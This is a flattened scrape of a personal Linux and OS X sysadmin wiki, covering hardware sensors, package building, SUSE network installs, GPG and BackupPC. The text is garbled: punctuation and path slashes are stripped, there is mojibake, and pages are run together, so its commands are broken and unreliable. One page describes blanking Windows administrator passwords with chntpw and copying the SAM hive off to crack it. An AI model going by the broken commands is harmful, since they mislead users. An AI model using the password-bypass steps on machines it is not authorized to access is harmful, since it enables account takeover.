we can experiment and determine what the best most broadly effective formula could be by comparing bios reading lm_sensor reading and through another digital thermometer whose reading are know to be good sensor configuration sensor configuration sensor configuration run sensors-detect will detect the on board sensors this will then write changes to etc modules to include those discovered once these modules are loaded running sensors should give you an out put like sophelo3 var lib dpkg info# sensors it8712-isa-0290 adapter isa adapter vcore 1 1 50 v min 0 00 v max 4 08 v vcore 2 1 49 v min 0 00 v max 4 08 v 3 3v 3 30 v min 0 00 v max 4 08 v 5v 5 00 v min 0 00 v max 6 85 v 12v 11 90 v min 0 00 v max 16 32 v -12v -5 27 v min -27 36 v max 3 93 v -5v -4 56 v min -13 64 v max 4 03 v stdby 4 95 v min 0 00 v max 6 85 v vbat 4 08 v fan1 0 rpm min 0 rpm div 128 fan2 0 rpm min 0 rpm div 128 fan3 10714 rpm min 0 rpm div 2 m b temp 25u8c2b0c low 127u8c2b0c high 127u8c2b0c sensor thermistor cpu temp 93u8c2b0c low 127u8c2b0c high 127u8c2b0c sensor diode temp3 30u8c2b0c low 127u8c2b0c high 127u8c2b0c sensor diode note if temperatures are completely wacky you likely need to change the sensor type from thermistor to diode or vice versa modify etc sensors conf and search for the sensor type identified in the first line of output - it8712 in this case you can also check in etc modules this conf file is big - so just search for it change the line that look like this # temperature # # important - if your temperature readings are completely whacky # you probably need to change the sensor type # adjust and uncomment the appropriate lines below # the old method modprobe it87 temp_type 0xxx is no longer supported # # 2 thermistor; 3 thermal diode; 0 unused set sensor1 2 set sensor2 3 set sensor3 3 # if a given sensor isn\'t used you will probably want to ignore it # see ignore statement right below label temp1 m b temp # set temp1_over 40 # set temp1_low 15 label temp2 cpu temp # set temp2_over 45 # set temp2_low 15 # ignore temp3 label temp3 temp3 you must reload lm_sensors config with sensors -s for changes to take effect more to add more to add more to add add here more information on configuring etc sensors conf why are some voltages incorrect why are temperatures sometimes negative thermistors and transistors as temperature sensors how do they work anyway quickstart quickstart quickstart excerpted from quickstart packaged with lm_sensors lm_sensors quick installation instructions ------------------------------------------ the instructions in this document will generally work if you have a standard system but not always the first part of document is for 2 6 kernel series second part is for older 2 4 kernels quickstart for kernel 2 6 ------------------------- 0 just compile and install lm-sensors userspace tools you can do that with \'make user; make user_install\' 1 make sure your kernel has support for all i2c bus drivers and \'i2c device interface\' if you are using a distribution kernel all is already prepared you don\'t need to recompile it 2 run \'sensors-detect\' command it will tell you what modules you need to load 3 load them and run \'sensors command you should see some results 4 find right section in etc sensors conf fix labels limits fan divisors 5 run \'sensors -s to apply the changes you may also try our installation wizard at we are aware that the documentation could be improved please contact us if you want to help us with that and form the install doc for 2 5 2 6 kernels do not attempt to compile this package use the drivers already in the 2 5 2 6 kernel tree if you are running a 2 5 2 6 kernel the only thing you need to do is \'make user\' and \'make user_install\' do not follow the rest of these instructions mbmon - fix me mbmon - fix me mbmon - fix me this needs further work to make it work on centos help out if you want an alternative is mbmon however this is not available as a yum package for centos you can make an rpm created from the debian package with alien but attempting to install it will have a failed dependency perl rrds is needed by mbmon-2 05-5 i386 this is resolved by installing rpm -ivh perl-rrdtool-1 2 12-1 2 el4 test rrdtool-1 2 12-1 2 el4 test rrdtool-devel-1 2 12-1 2 el4 test or latest which are available from all four above rpms including the aliened mbmon itself are on the file server under mbmon however after install those three rpms and trying to install the mbmon again you will get root tardis # rpm -uvh mbmon-2 05-5 i386 rpm preparing ########################################### 100 file etc init d from install of mbmon-2 05-5 conflicts with file from package chkconfig-1 3 13 4-1 so you can compile it from source available at this is the source for both the xmbmon and mbmon while this should be a simple configure make make install it also runs into trouble giving me callandor xmbmon200 # make gcc -c -o3 -i -dhave_config_h -wall getmbinfo c in file included from pci_pm h 16 from getmbinfo c 22 io_cpu h 13 29 error machine cpufunc h no such file or directory getmbinfo c in function u8e28098initmbinfou8e28099 getmbinfo c 220 warning implicit declaration of function u8e28098strcmpu8e28099 make getmbinfo o error 1 on two test centos boxes i tried it on to be continued '),(29,'lm sensors',' '),(30,'apple osx tips',' mouse support mouse support mouse support official mouse support for os x sucks tons of new logitech mice are not officially supported though often they will actually work with basic functionality if you install the logitech control panel free for enhanced functionality check out usb overdrive and steer mouse both are shareware 20 to buy and provide full or near full functionality for a very wide assortment of usb wireless and bluetooth input devices very handy software indeed transparent terminal transparent terminal transparent terminal changeme-2-prod-2 archimedes cat bash_profile export clicolors 1 defaults write com apple terminal terminalopaqueness \'0 85\' alias ls ls -g '),(31,'open suse 10 3 notes',' __forcetoc__ compiling kopete otr plug in for suse 10 3 from the official website at otr is described as off-the-record otr messaging allows you to have private conversations over instant messaging by providing encryption no one else can read your instant messages authentication you are assured the correspondent is who you think it is deniability the messages you send do not have digital signatures that are checkable by a third party anyone can forge messages after a conversation to make them look like they came from you however during a conversation your correspondent is assured the messages he sees are authentic and unmodified perfect forward secrecy if you lose control of your private keys no previous conversation is compromised  installing otr for kopete under suse 10 3  follow the instructions at if you are actually running suse 10 3 and just want to install the rpm packages and forgo the stimulating procedures herein they can be found at the end otr libraries otr libraries otr libraries build it from source first download the libgcrypt development libraries #zypper install libgpg-error-devel libgcrypt-devel libgcrypt itself should already be installed but you need the development libs for compiling then build otr library source from wget it configure make make install better than make install run checkinstall to make the rpm and install it that way this way the rpm database will be aware of the installation and future rpm depedanceis will be resolved correctly for example - if you do not do this and then try to make and install the rpm for kopete in the next section you will get warnings that libotr s0 2 is missing when in fact it is in usr lib by creating and installing lib-otr as an rpm the rpm database will be aware of it you can proceed with makeing and installing the rpm for the kopete plug in kopete plug-in kopete plug-in kopete plug-in next compile the kopete plug-in itself you will need the stdc development libraries for this one also make sure you actually have the c compilier installed - it is not by default and if not you will get an error when you run configure configure error your installation isn\'t able to compile simple c programs check config log for details - if you\'re using a linux distribution you might miss a package named similar to libstdc -dev install these packages to be able to build c programs #zypper install libstdc 42-devel libstdc 42 libstdc -devel gcc-c xorg-x11-devel libqt4-devel #qt3-devel kdelibs3-devel kdenetwork3-devel you also need the x11 development & kde dev libraries as above download the source code from tar xvjpf kopete-otr-0 7 tar bz2 with all the packages listed above installed you should just be able to do the usual configure make && make install or checkinstall to build the rpm instead do this as it it\'s easier to remove the rpm install onto another systems etc compiled rpms compiled rpms compiled rpms have open suse 10 3 and just want to skip all the work here are the rpm for the above ready to go media libotr-3 1 0-1 i386 rpm media kopete-otr-0 7-1 i386 rpm '),(32,'libotr-3 1 0-1 i386 rpm',' '),(33,'kopete-otr-0 7-1 i386 rpm',' '),(69,'ies4linux - internet explorer on linux',' can i run internet explorer on linux can i run internet explorer on linux can i run internet explorer on linux need to run internet explorer on linux for some reason i needed to in order to run a web driven tutorial site that uses activex controls no worries - it it\'s easy i had read about ies4linux which allows you to install various versions including a beta version of ie 7 on linux basically you run them under wine and install some various windows native support files etc installing this was extremely easy and now i can run my math tutorials for school on any linux box by the by - this is a great site that dynamically generates math problems for algebra calculus statics etc classes there is no registration required nice and it is free get all the math problems you may ever wanted shoveled at you until your heart is content ahhhh however it confronted me with this nasty red text dialog saying firefox and linux were not supported well thought i we shall see indeed what a horrible thing to tell a visitor installing installing installing installation instructions for installing ies4linux on ubuntu are here there are guides for other distros there as well installation was extremely straight forward and running then installed binaries encountered little to no issues '),(34,'apple os x darwin ports',' this is a quick guide to installing darwin ports under os x 10 4 darwin ports in similar to the ports tree in freebsd providing easy building and installation of thousands of applications for os x you must first install the development tools for os x which include development libraries the gcc header files etc required to build applications darwin ports requires the c compiler and libraries to be installed in order to install the ports package itself apple developer tools apple developer tools apple developer tools download x code version 2 5 or latest for your platform ppc intel etc from the apple developer site this is about a 900mb download mount the dmg file and install the development tools themselves documentation is included you can verify it is install correctly by typing gcc into a terminal changeme-2-prod-2 documents archimedes gcc powerpc-apple-darwin8-gcc-4 0 1 no input files changeme-2-prod-2 documents archimedes showing the gcc compiler is now installed but no input file to compile was specified x11 for os x x11 for os x x11 for os x you should install x11 the x windows gui environment for os x you and do this by either installing it from you os x install disk or better just download and install the latest version 1 1 3 directly installation is very straight forward as an aside - now that you have x11 installed why not install the gimp for os x it it\'s no more than a new clicks away at this point darwin ports darwin ports darwin ports once x code 2 5 is installed as above installing darwin ports is quite straight forward the full instructions can be found at as well as 1 download darwin ports 1 5 or latest 2 mount the dmg file and then install darwin ports important step 3 you  must  include some additional directories in your path so that os x will be able to find the binaries included with darwin ports i e the port command itself and packages you install with it simple execute these commands in the terminal export manpath manpath opt local share man export infopath infopath opt local share info export path opt local bin opt local sbin path and verify the path is set correctly and that it now includes opt local bin by using echo path from the terminal changeme-2-prod-2 documents archimedes echo path bin sbin usr bin usr sbin opt local bin 4 update the port package with sudo port -d selfupdate this will check the requierments for the build environment which is why x code 2 5 was installed earlier it will them compile a few things note that at the end it will display the location where darwin ports was installed to for example opt local var macports sources rsync macports org release base 5 you may now install packages from ports by building them from the source code see the following examples and documentation at installing tightvnc installing tightvnc installing tightvnc tightvnc is a popular vnc server for x this is usefull for connecting to you mac if you are running x windows and using x apps this will not directly allow you to connect to the normal os x quartz aqua desktop remotely - to do that you may use other os x vnc apps such as vinevnc server which work quite well installing tightvnc from darwin ports consists of 1 from a terminal run sudo port install tightvnc 2 it build and install the app after this you will need to specify a path to x executables which are required for tightvnc export path path usr x11r6 bin 3 you may now run tightvnc with vncserver 4 there are also other vnc apps installed such as vncviewer to allow you to connect to other systems os x linux etc running vnc servers vncpassword obviously sets the password for you vns sessions changeme-2-prod-2 documents archimedes vnc vncconnect vncpasswd vncserver vncviewer installing mtr installing mtr installing mtr here is an example of using darwin ports to install mtr - a popular networking utility for route analysis changeme-2-prod-2 documents archimedes mtr -bash mtr command not found darn don\'t have mtr installed no worries changeme-2-prod-2 documents archimedes sudo port install mtr password --- fetching mtr --- attempting to fetch mtr-0 72 tar gz from --- verifying checksum s for mtr --- extracting mtr --- configuring mtr --- building mtr with target all --- staging mtr into destroot --- installing mtr 0 72_0 --- activating mtr 0 72_0 --- cleaning mtr changeme-2-prod-2 documents archimedes mtr cnn com if mtr is not found you most likely do not have opt local sbin set in your path see above if path is exported mtr will run my traceroute v0 72 changeme-2-prod-2 local 0 0 0 0 sat nov 24 18 01 08 2007 keys help display mode restart statistics order of fields quit packets pings host loss snt last avg best wrst stdev 1 192 168 2 1 0 0 6 1 9 1 8 1 8 2 0 0 1 2 10 97 96 1 0 0 6 7 8 8 4 6 9 9 9 1 1 3 pch15 51 tampflerl-rtr2 tampabay rr com 0 0 6 10 6 13 6 10 5 18 4 3 7 4 pos6-0-oc-192 tampflerl-rtr4 tampabay rr com 0 0 6 11 4 15 9 10 3 37 8 10 8 5 pop2-tby-p3-0 atdn net 0 0 6 13 0 11 8 10 7 13 0 0 9 6 bb1-tby-p0-3 atdn net 0 0 6 14 3 32 7 10 8 133 8 49 5 7 bb2-atm-p2-0 atdn net 0 0 5 23 1 24 0 22 8 25 9 1 3 8 installing smartmontools installing smartmontools installing smartmontools changeme-2-prod-2 opt local var macports sources rsync macports org release ports sysutils smartmontools work smartmontools-5 37 sudo configure sudo make sudo make install places it in usr local sbin mieren usr local sbin smartctl -a dev disk0s9 mount will show you the dev drive to use #################################################################### # # please read this box # # to manually start the smartd daemon run # usr local etc rc d init d smart smart start # # to automatically start smartd on bootup add the line # smartd -yes- # to etc hostconfig # # smartd can now use a configuration file usr local etc smartd conf do # man smartd # to learn about it a sample configuration file can be found in # usr local share doc smartmontools-5 37 # ####################################################################  thousands of other applications are now available to you using the same methodology you may also learn more about a particular port with port info mtr   gui for darwin ports gui for darwin ports gui for darwin ports of course if you want a gui for interacting with darwin ports there are a few available checkout both portauthority shareware and porticus 1 0b4 open source - find both on version tracker '),(35,'linux hardware repair - a class',' maxlinuxpenguin right frame introduction introduction introduction diagnosing and repairing pc and servers requires the intelligent use of many tools there is no single piece of testing software that is perfect or suits every situation often many hardware issues data salvage operations and system troubleshooting steps can be performed using linux this adds some very powerful tools to your technician arsenal the focus of this lab is to give you a general orientation to linux as it can be used by hardware technicians you might be surprised how easy it is to use some of these tools and how powerful they can be linux can assist with troubleshooting 1 hardware driver issues 2 hard drive problems 3 data recovery 4 networking issues 5 boot block corruption 6 stress testing 7 windows password cracking 8 partition resizing gparted 9 remote connections rdp ssh linux for hardware analysis linux for hardware analysis linux for hardware analysis to get information about your hardware environment you can use #lspci to show a list of devices recognized this is great for finding out information like the exact nic etc #dmidecode less will provide a wealth of information you can use the gui version too hardware info polling you can find out bios information memory type speed how many memory slots etc #dmesg will show you all the boot messages great for reviewing what happened during boot time what was recognized etc  drive testing   linux provides fantastic tools for analyzing hard drives the intelligent interpretation of the data available using these tools can go far in determining the drive fitness or in data recovery    s m a r t  this section is just an intro to smart there is a more extensive page on this subject at smart drive diagnostics smartctl is part of the smartmontools package for most linux distributions if not already installed you should easily be able to install it with the package manager for that distro apt-get install sysmontools for debain ubuntu yum install sysmontools for red hat based systems using smartclt is very easy smartctl -a dev hda or dev sda for sata drives samrtctl -s on dev sda will activate smart if it is currently disabled on the drive bypassing bios this gives you a significant amount of data to analyse note that different values are evaluated differently increasing numbers for some attributes reallocated sectors crc errors etc are bad while increasing numbers for others read error rate are actually good and excellent reference for analysing these attributes is at wikipedia pay particular attention to the reallocated sectors pending sector count and the total number of smart errors ata error count  hd parameters  show and set drive parameters and perfrom read write tests with this great tool hdparm - list help and options hdparm dev sda or hda for pata drives hdparm -i dev sda hdparm -i dev sda hdparm -tt dev sda time read and write speeds and show results a fantastic site with tons of information on hdparm is the gentoo wiki there is also a tool for scsi sata and sas drives called sdparm which uses different options an addition tool called seeker is available from the below site it must be compiled but is very easy to do so wget gcc -o2 seeker c -o seeker data recovery data recovery data recovery often a failing drive will no longer boot to the os or the os is too corrupted to boot and needs reinstalled there are several options for data recovery using linux tools 1 just boot to a live cd if the amount of data to be recovered is relatively small you can simply plug in a usb stick or external hard drive and recover the data onto it - never even removing the drive from the system note usb 2 0 firewire drives are best for this 2 if the drive is physically mechanically failing and won\'t boot it may be salvagable with dd or ddrescue this allows you to clone the defective drive onto a new target drive this is often more successful than utilities such as ghost which do not handle drive errors well etc the basic use if very simple dd if dev sda of dev sdb would copy drive sda to sdb ddrescue gives other options sepcificaly for drive recovery operations you can also use dd_rescue which offers some additional tools and gives an update on its status which dd does not dd_rescue dev sda dev sdb windows password resetting windows password resetting windows password resetting you can use ubuntu and other linux tools to reset erase a windows password this does not always work on 2003 rc2 etc always ensure the person you are granting access to is authorized windows password cracking networking tools networking tools networking tools mtr  destination ip address  great tool for analysing a route combination or ping and traceroute together if not installed it may be part of a package such as iputils iptraf provides detailed analysis of ip traffic on the computer more suited for analyzing traffic on a server with multiple connections to it mii-tool gives current link status by using the -f option you can specify the speed an duplex of the link usefull for quickly troubleshooting what the line is actually set to despite what the corporate networking guys tell you it is ifconfig use by itself or specify the network adapter such as ifconfig eth0 this is similar to ipconfig in windows you can bring the interface up and down with ifconfig eth0 up  restarting networking  you may need to restart the networking service in order for changes to take effect this is usually done with a command such as service network restart or by running the script that controls networking in that distribuiton for example etc init d network restart boot block corruption boot block corruption boot block corruption it is inevitable that boot block corruption sometimes occurs windows and linux can be easily repaired and made bootable again if you install linux and can no longer boot windows because grub becomes corrupted don\'t fear if windows won\'t boot because the mbr is corrupted it can be fixed a great tool for this is super grub available at this is a menu drive bootable cd to assit in mbr repairs and system recovery rescue live cd distributions rescue live cd distributions rescue live cd distributions knoppix - the classic live environment linux cd taking the world by storm - ubuntu this is both an install and a live cd red hat hat\'s fedora project live cds for latest version available here live cd focusing on network analysis and pen testing repair tools repair tools repair tools super grub - repair boot issues for linux and windows built in ntfs support and a variety of recovery tools system stress testing '),(36,'maxlinuxpenguin',' '),(37,'junk page',' this is a junk page '),(38,'windows password cracking',' intro there are several methods of cracking or bypassing account passwords on a windows based system a couple methods are given below feel free to add others first - most of the time you don\'t actually need to crack the user user\'s password or recover it you can usually just set a new password this is far easier ubuntu ubuntu ubuntu 1 boot the system with a ubuntu cd 2 mount the guys windows drive - specifically the partition containing the windows directory a normal windows install only has a couple ntfs partitions it should be pretty clear what to mount 3 install the chntpw application in ubuntu a you must add uncomment the multiverse repo to etc apt sources list b or you can just add the multiverse repo using synaptic using the gui c then sudo apt-get install or use synaptic the package named chntpw 4 cd to your_mnt_point windows system32 config 5 #chntpw sam as root 6  follow the prompts  - it is pretty straightforward however  read  what it is asking you it will default no two or three times when it asks to write the modified files etc and if you don\'t pay attention you wont make any changes 7 select the administrator account and just use to blank the password don\'t try setting another 7a  optional   i usually unlock the admin account before blanking the password 8 finish answering the remaining prompts - read carefully 9 reboot and try accessing the system now with just a blank password 10 if successful immediately set a new password just hit ctrl-alt-delet and choose reset password from the screen yep if you don\'t do this the system will be completely vulnerable linnt linnt linnt this tool is known by a few names we call in linnt here this is a bootable linux cd that has a variety of tools just choose the reset windows password option from the menu the reset of the step are the same as ubuntu from 6 on above in fact i believe it is basically the same tool if not exactly the same winternals winternals winternals just boot the system using the winternals cd select the windows installation you want to attach to use skip network detection it takes forever once the winternals recovery environment is fully loaded click on the w start button and select the lock pick tool from the menu easy as pie cracking the password cracking the password cracking the password the above allows you to blank the password and circumvent it normally this works however you may need to actually recover the old password you can try tools like cain and able and others etc once you have access to the system with ubuntu livecd you can ftp the sam file to yourself for further cracking etc it doesn\'t work it doesn\'t work it doesn\'t work the ubuntu linnt solution does not work on all versions service packs of windows it normally works well on most 32 bit 2003 distributions including later service packs however it does not always work if you still can\'t log on after trying the above it will get more complicated and require actually cracking the sam hiv files good luck we can add more on this part later '),(39,'suse 10 3 network install',' geeko frame right installing installing installing  update for suse 11 3 i\'ve updated some links but the procedure is essentially the same the 11 3 network install cd allows for using a wireless card to perform the install which is pretty cool note that you need to use the ip address of the mirror not the fqdn despite what the suse wiki says i have yet to see the auto-detection of mirrors work but if you follow the steps below and manually enter the info it will install fine    update you can now install suse for the pxe menu you don\'t need a cd however you may still need some of the repository information from this section setup of the repos is extremely specific   a general guide to using the pxe method is also at you can download and burn the whole 4 gb install dvd or use the network install cd method described here the network install has some twists which i have created this how to in order to help clarify the instructions are at 1 download the network install cd image from download the start-cd-image or the network install image from the suse downloads site this should automatically have the repos set up in it for doing a network install the repos should be the ones from where you downloaded this particular image from  note   pay close attention to the installation repository section of the mirror you use if you mouse over it you will see the link that should be the repo used during install also ensure the mirror is reachable via ip and not hostname - if you can\'t substitute the ip in the link the install will not work example from us repo georgia tech installation repository link is  note well   if this particular repo is broken when you install you will have to use another you can enter a new repo ip and ftp directory to use during the install procedure using f4 first  enter the ip only  - host out the fqdn from the above repo link in this case gtlib gatech edu hosts out to 204 152 191 39 on the next screen enter the repo path in this case opensuse distribution 11 3 repo oss the end of this how to has a list of repos you can print out and try if the default one does not work repositories repositories repositories you can and should add remove change repos using yast yast -- software -- community repositories  you should add the oss repo  - this is the primary open source software repo  disable  the install dvd so its no longer as an install source vi etc zypp repos d opensuse-10 3-dvd 10 3 repo change to enable 0 repo information is contained in etc zypp and is similar to centos in operation and structure etc zypp redos d contains the configs for the repos etc configuration & yast configuration & yast configuration & yast the primary suse configuration tool is yast yet another software tool this is both a package manager and a server config utility running it in the shell provides a console gui environment for setting up network adapter settings default route repo setup and downloading of packages you can search for packages in this utility and mark them with space bar to be installed etc using the package management functions is very similar to aptitude for ubuntu etc config files and location are very similar to centos but slightly different  network adapter   you can configure the nic and default route in yast - just do that but for reference the config files are described here   nic config file is at etc sysconfig network ifcfg-eth0 sample netmask   bootproto \'static\' broadcast   ethtool_options   ipaddr \'192 168 2 5 24\' mtu \'1500\' name \'dell 3c905c-tx tx-m tornado \' network   remote_ipaddr   startmode \'auto\' usercontrol \'no\'  note well   gateway  gateway setup is not in ifcfg-eth0 it is in etc sysconfig network routes sample default 192 168 2 1 - - just use yast to set all network settings in this case default route is set in yast -- network services -- routing  dns and hostname  yast -- network services -- dns and hostname  firewall  yast -- security and users -- firewall change autostart stop start manually configure etc post install packages to install post install packages to install post install packages to install set up repos in yast and then install using yast gui or zypper cli install these packages yast --- software -- software managemnet iputils mtr nano openssh vim screen wget alt f8 hack alt f8 hack alt f8 hack modified from centos ks install scripts modified paths for suse this should does not at all work sago support daemon installation cd etc rc d wget bin chown root root etc rc d supportd bin chmod 755 etc rc d supportd sbin chkconfig --level 0126 supportd off sbin chkconfig --level 345 supportd on we might try adding an init script to openvt -c 8 bin bash however suse does not exactly have an etc rc local it does have etc init d boot local but i think things placed there execute before going to run level 1 - that wat it says sample of making the equivlent of an rc local additional install repos to try additional install repos to try additional install repos to try these repos are from these are for doing a network install of opensusue 10 3 us 204 152 191 7 204 152 191 39 128 138 238 174 germany 134 76 12 5 uk 212 219 56 138 post install check list post install check list post install check list 1 verify ip settings and default route and correct use yast to modify them 2 set host name in yast 3 set up repos for oss and disable cd dvd repo if used 4 use yast to install above utilities 5 install f8 hack autoyast kickstart install autoyast kickstart install autoyast kickstart install suse does not use kickstart like rhel but has autoyast you can create and xml template which can be used as a template to install other systems from documentation on this is here quick faq facts answers - autoyast 1 1 how do i invoke an autoinstallation on all suse linux versions the automatic installation gets invoked by adding autoyast to the kernel parameter list so for example adding autoyast will start an automatic installation where the profile with the autoyast configuration gets fetched from the webserver myserver look here for details 1 2 what is an autoyast profile that that\'s the autyast configuration file in the autoyast profile you have to configure how the system should look like that you want to install via autoyast so which software will be installed how is the partitioning what is the root password and so on nearly everything you can configure with yast can also be configured in an autoyast profile the profile format is an ascii xml file 1 3 how do i create an autoyast profile you can use the graphical user interface from the yast control center misc autoinstallation or you can run yast2 autoyast from the commandline or you can use your favourite text xml editor '),(40,'geeko',' '),(41,'correcting perl module dependencies fail',' dependency errors when perl modules are installed sometimes when yum updating specific packages or a whole system update dependencies will fail due to missing perl modules which are in fact installed although present they were not registered with rpm as perl modules are not normally installed as rpms but rather built locally even though the reported perl modules are installed you might get something like -- processing dependency perl crypt passwdmd5 for package syslinux -- processing dependency perl string crc32 for package lftp -- finished dependency resolution error missing dependency perl crypt passwdmd5 is needed by package syslinux error missing dependency perl string crc32 is needed by package lftp perlmod perlmod perlmod update this project looks like a good possibility too but i\'ve yet to check it out cpan2rpm to the rescue cpan2rpm to the rescue cpan2rpm to the rescue solutions are installing cpan2rpm from or from sourceforge etc you can also just build the rpm right on this website syntax to use for this is very simple cpan2rpm crypt passwdmd5 #you may also use the filename of a tar gz perl module this will download the module from cpan and build the rpm note at the end it will tell you exit 0 rpm usr src redhat rpms i386 perl-string-crc32-1 4-1 i386 rpm srpm usr src redhat srpms perl-string-crc32-1 4-1 src rpm -- done -- i prefer to just move the completed rpm to a directory under root for all such perl module rpms so created root tardis perlmodules # mv usr src redhat rpms i386 perl-string-crc32-1 4-1 i386 rpm you may now install the rpms created as normal root tardis perlmodules #rpm -ivh perl-string-crc32-1 4-1 i386 rpm do the same for any others yum reports as missing and viola\' it didn\'t work it didn\'t work it didn\'t work if cpan2rpm can\'t directly download and build the rpm hope is not yet lost use cpan and run cpan get module_name it will tell you the name and location of the tar gz it downloads at this point just exit cpan and run cpan2rpm directly on the tar gz file and it should build the rpm list installed perl modules list installed perl modules list installed perl modules perldoc perllocal will show all installed perl modules there are other solutions too listed at getting the extutils install to function is a bit tricky as this module is often not found and if you do find it you can\'t make an rpm as the author and version information is missing resolve this with root tardis perlmodules #wget root tardis perlmodules #cpan2rpm --author idk extutils-install-1 44 tar gz root tardis perlmodules #mv usr src redhat rpms noarch perl-extutils-install-1 44-1 noarch rpm root tardis perlmodules #rpm -ivh extutils-install-1 44 tar gz root tardis perlmodules #touch listinstalledperlmodules pl into this file copy # usr local bin perl use extutils installed; my instmod extutils installed- new ; foreach my module instmod- modules my version instmod- version module ; print module -- version n ; root tardis perlmodules # perl listinstalledperlmodules pl archive tar -- 1 37_01 archive zip -- 1 23 business onlinepayment authorizenet -- 3 19 cgi -- 3 31 cpan -- 1 9205 class std utils -- 0 0 3 crypt passwdmd5 -- 1 3 crypt ssleay -- 0 57 curses -- 1 14 cwd -- 3 25 dbd multiplex -- 2 04 dbi -- 1 601 dbi shell -- 11 94 devel ppport -- 3 13 digest md5 -- 2 36 digest md5 file -- 0 06 encode -- 2 23 extutils cbuilder -- 0 21 extutils makemaker -- 6 38 of course you may want to chmod 755 this file and place it in usr local bin so you can have ready access to it on-line perl mod to rpm tool on-line perl mod to rpm tool on-line perl mod to rpm tool note you can also make the rpm itself at the website allows you to build the rpm through the web interface for any specified perl module and download the completed rpm directly it is easier to just install cpan2rpm on the target server though as then you don\'t have to transfer the rpm rpm\'s to the server etc manual perl module installation manual perl module installation manual perl module installation if all else fails and you need to install a module manually these sites may help this site contains the steps for manually installing most perl modules including some tips on handling library paths some additional tips on library paths can also be found http www perlhowto com extending_the_library_path here to list the current perl lib search path perl -le \'print foreach inc\' other references other references other references interesting site where a guy used cpanflute on the tar gz to make and source rpm and then built that '),(42,'gpg keys for package validation',' gpg basics you can download the public key for someone from a key server such as or just enter their key id here such as 0x123f8610 you can then download the txt file containing their public pgp key rename it something simple like pubkey this then needs imported to your key ring gpg --import #gpg --keyserver pgpkeys mit edu --recv-key de885dd3 # ----- key id goes here gpg key de885dd3 public key sander striker imported gpg total number processed 1 gpg imported 1 we now can verify the digital signature since we\'ve imported the public key of release manager sander striker # gpg httpd-2 0 49 tar gz asc gpg signature made thu 18 mar 2004 08 33 51 pm sgt using dsa key id de885dd3 gpg good signature from sander striker gpg aka sander striker gpg checking the trustdb gpg no ultimately trusted keys found gpg warning this key is not certified with a trusted signature gpg there is no indication that the signature belongs to the owner primary key fingerprint 4c1e adad b4ef 5007 579c 919c 6635 b6c0 de88 5dd3 these section above from which has some other general gpg tool usage instructions gpg commands gpg commands gpg commands a general how to is at some good commands to know taken from there are with the gnupg system comes a file that acts as some kind of database in this file all data regarding keys with the information that comes with the keys is stored everything until the ownertrust values for more information on that read key signing with gpg --list-keys all present keys will be displayed to see the signatures as well type gpg --list-sigs see key signing for further information to see the fingerprints type gpg --fingerprint you want to see fingerprints to ensure that somebody is really the person they claim like in a telephone call this command will result in a list of relatively small numbers to list the secret keys you type gpg --list-secret-keys note that listing fingerprints and signatures from private keys has no use what soever in order to delete a public key you type gpg --delete-key uid for deleting a secrete key you type gpg --delete-secret-key there is one more important command that is relevant for working with keys gpg --edit-key uid using this you can edit among other things the expiration date add a fingerprint and sing your key although it is too logic to mention for this you need your passphrase when entering this you will see a command line '),(43,'great open source projects',' there is such a tremendous number of truly fantastic open source applications and projects these days it is really amazing the quality of open source software has come a very long way and today you can find very well supported applications that are quite stable and extremely full featured i list some of my favorites here to share with others i encourage everyone to take advantage of these awesome apps and by doing so perhaps assist in their further development or offer your input in their support my favorite open source applications  media wikia  the very app used to create this wikipedia quite easy to install and configure a central repository for all your notes etc that you can access anywhere and share with others killer  sugarcrm  extremely full featured contact management software paid support is also available but the forums wiki and video tutorials for user user\'s pretty much provide everything needed to create a robust and extremely scalable and customizable contact management system can integrate with quickbooks through a 3rd party module qbconnect not open source  backuppc  omg - how very cool want to backup you linux windows and osx systems to a central filer server set up automated backups full and partial ones use a variety of methods - smb rsync tar etc restore or download any backed up file for any system is a few clicks pool similar files to conserve disk space no problem this is awesome software  wordpress  free blog software with tons of features  mythtv  build your own dvr including web interface and many advanced features free your self from proprietary digital recorders with limited functionality and go your own way  cacti  monitoring software lets you set monitor all kinds of devices and their activity and report on them displaying the accumulated data in graphs etc useing rrdtool  rancid  monitor your cisco devices back up the configs and run a diff between configs to see what changes have been made etc  mrtg  multi router traffic grapher  asterisk  free voip phone management system very popular and well supported awesome telephony app  trixbox  asterisk based parallel project voip management system  torrent flux  run a torrent server and take advantage of all the bandwidth you have at work then download the completed torrents from your home system set up accounts for others as well very easy interface  blender  blender is the free open source 3d content creation suite available for all major operating systems under the gnu general public license this is a killer 3d modeling suite with impressive capabilities and and very good documentation and tutorials check out the gallery at for but a small sample  xampp  from their site many people know from their own experience that it it\'s not easy to install an apache web server and it gets harder if you want to add mysql php and perl xampp is an easy to install apache distribution containing mysql php and perl xampp is really very easy to install and to use - just download extract and start at the moment there are four xampp distributions '),(44,'backuppc installation notes',' backuppc center intro intro intro backuppc is a fantastic app allowing you to backup systems to a server using a variety of protocols - tar rsync scp smb - wether they be linux windows or os x systems depending on the situation the clients themselves may require no additional software -though this depends on the method used etc the documentation for this open source project is quite extensive however here are notes of what i ran into fortunately a colleague and i worked on this together to address the variety of little issues that kept cropping up thanks kyle if you are using debian ubuntu basic installation should be quite straight forward but you still may benefit from some of the notes my centos install required some preparation and config to get it all rolling cavetes cavetes cavetes 1 backups pc is designed with the idea in mind to backup pcs on the same network or be able to resolve the domain name or netbios name of the system thus if you are going to be backing up systems over the internet a home pc to a fileserver you will need to be able to have a domain name assigned to the home ip address several solutions exist for this such as if you have more than one ip at home you can use different domain names or just assign different ports to the job editing the backuppc job to use different ports these port of course must be forwarded in your router to the proper host on your network if you need help with this see 2 although backup pc can use smb to back up windows systems you may find it easier and more secure to use cygwin this will allow windows pcs to run a linux environment and use tools such as rsync and ssh this will encrypt the data transfer and is extremely easy to set up installing and using cygwin is not at all difficult and then the widows systems can be backed up as though the were linux clients installation notes installation notes installation notes these are essentially rough notes of what i ran into mainly so if i have to install this again i have some things to jog my memory  preparation   there are a few perl modules that have to be installed a suggestion here is to use cpan2rpm which will both download and install the ones you need this also prevents dependency issues in the future when yum apt rpm does not think they are installed when they are see correcting perl module dependencies fail  installation   just download and unpack the backuppc tar gz file see wasn\'t that easy the setup script is configure pl which will guide you through the install process this will create the the primary configuration file for backuppc which normally would go in # etc backuppc config pl note that one is configure pl and the other is config pl - the former generates the later  bwah ha ha  when i installed this i failed to realize that the configure pl creates the backuppc_admin script in the directory you specify in my case var www cgi-bin not realizing this my colleague and i ended up editing the blank one wondering why the variables had not been passed to it you might want to make sure you are editing the right one if you modify this file unlikely but still  user account & permissions  you will need to create an account for backuppc to run as it 